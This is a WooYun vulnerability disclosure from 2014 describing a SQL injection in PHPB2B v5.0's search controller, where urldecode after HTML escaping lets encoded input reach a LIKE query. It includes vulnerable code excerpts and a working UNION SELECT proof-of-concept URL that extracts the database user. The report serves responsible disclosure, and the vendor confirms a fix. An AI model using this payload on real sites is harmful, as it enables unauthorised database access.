当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-055607

漏洞标题:PHPB2B某处鸡肋SQL注入(默认功能不开启)

相关厂商:phpb2b.com

漏洞作者: xfkxfk

提交时间:2014-04-16 18:16

修复时间:2014-07-15 18:17

公开时间:2014-07-15 18:17

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-16: 细节已通知厂商并且等待厂商处理中
2014-04-16: 厂商已经确认,细节仅向厂商公开
2014-04-19: 细节向第三方安全合作伙伴开放
2014-06-10: 细节向核心白帽子及相关领域专家公开
2014-06-20: 细节向普通白帽子公开
2014-06-30: 细节向实习白帽子公开
2014-07-15: 细节向公众公开

简要描述:

PHPB2B v5.0某处鸡肋SQL注入(默认功能不开启)

详细说明:

文件 /libraries/core/controllers/search_controller.php:

function __construct()
{
!empty($_GET) && $_GET = clear_html($_GET);
if (isset($_GET['q'])) {
$this->keyword = $_GET['q'] = urldecode(strip_tags(htmlspecialchars($_GET['q'])));
}
if (!empty($_GET['module']) && in_array($_GET['module'], $this->allowed_search)) {
$this->module = strip_tags(htmlspecialchars($_GET['module']));
}
setvar("module", $this->module);
}


因为这里虽然进行了htmlspecialchars过滤
但是由于后面有urldecode解码,所以我们可以先进行urlencode这样,没有过滤%
所以导致可以绕过过滤。
下面看看这个q参数进入了那里:

foreach ($this->allowed_search as $k=>$v) {
$modules[$v] = L(array_search($v, $this->allowed_search));
}
ksort($modules);
setvar("top_modules", $modules);
unset($modules[$option]);
array_unshift($modules, L(array_search($option, $this->allowed_search)));
setvar("modules", $modules);
//similar
require(CLASS_PATH. "segment.class.php");
$segment = new Segments();
$search_q = $similar_result = '';
if (!empty($this->keyword)) {
$similar_q = $segment->Split($this->keyword);
}
if (!empty($similar_q)) {
$similar_result = $similar_q;
}elseif(!empty($search_q)){
$similar_result = $model_object->GetArray("SELECT *,name AS title FROM ".$tb_prefix."tags WHERE name like '%".$search_q."%' ORDER BY id DESC LIMIT 0,10");
}
setvar("similar_search", $similar_result);
setvar("items", $result);
$from = ($pos==0)?0:$pos+1;
setvar("paging", array('total'=>$model_object->amount, 'from'=>$from, 'to'=>($to = $pos+$this->displaypg)>$model_object->amount?$model_object->amount:$to));
setvar("TimeSpend", number_format((getmicrotime()-$time_start), 3));
$tpl = $theme_name.DS.$option.DS.'list'.$smarty->tpl_ext;
$viewhelper->setTitle(L(array_search($option, $this->allowed_search),'tpl'));
if($search_q) $viewhelper->setTitle($search_q);
setvar("no_result_tip", L("no_search_result_for_you", "tpl", $search_q));
if (isset($_GET['typeid'])) {
$viewhelper->setTitle($types[$_GET['typeid']]);
}
render($tpl_file);


最后q参数值直接进入查询。
将我们输入的语句带入了模糊查询中。

漏洞证明:

这里的查询结果只显示查询后的结果,所以只显示数字。
所以我们需要将我们查询后的内容转成数字。
POC:
http://localhost/phpb2b/index.php?q=12%25%27%20union%20select%20conv%28hex%28substr%28user%28%29%2C1%2C4%29%29%2C16%2C10%29%20limit%201%2C1#&do=search&action=lists&module=product

d.png


这里的结果就是1919905652。
这里的1919905652就是我们查询后返回的user()的结果。
但是1919905652是user()的10进制表示,转换后的内容就是root。
1919905652(10)——726f6f74(16)——root
此漏洞略鸡肋:
默认情况下会对输入的参数进行过滤:

if(!$admin_runquery) pb_hack_check();//safe check to post, get.


但是,
这里的admin_runquery可以配置,默认是false,不开启此功能。
但是在后台要执行此功能是必须开启的。
系统工具 » 数据库»升级,在应用此功能时必须开启admin_runquery,而且系统也会提示让开启此功能。
所以此漏洞略鸡肋。

修复方案:

严格全部过滤

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-04-16 18:18

厂商回复:

新版已修正

最新状态:

暂无